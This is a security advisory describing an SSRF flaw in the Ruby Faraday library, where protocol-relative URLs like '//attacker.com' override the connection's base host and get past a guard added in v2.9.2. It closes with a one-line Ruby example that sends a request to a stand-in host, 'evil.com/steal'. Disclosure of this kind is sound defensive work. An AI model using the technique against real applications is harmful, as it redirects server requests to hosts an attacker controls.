Package Instance

Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url
Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby's
`URI#merge` to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references
that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's `get()`,
`post()`, `build_url()`, or other request methods, an attacker can supply a
protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).

The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
`/`, so protocol-relative URLs bypass it entirely.

**Example:**
```ruby
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')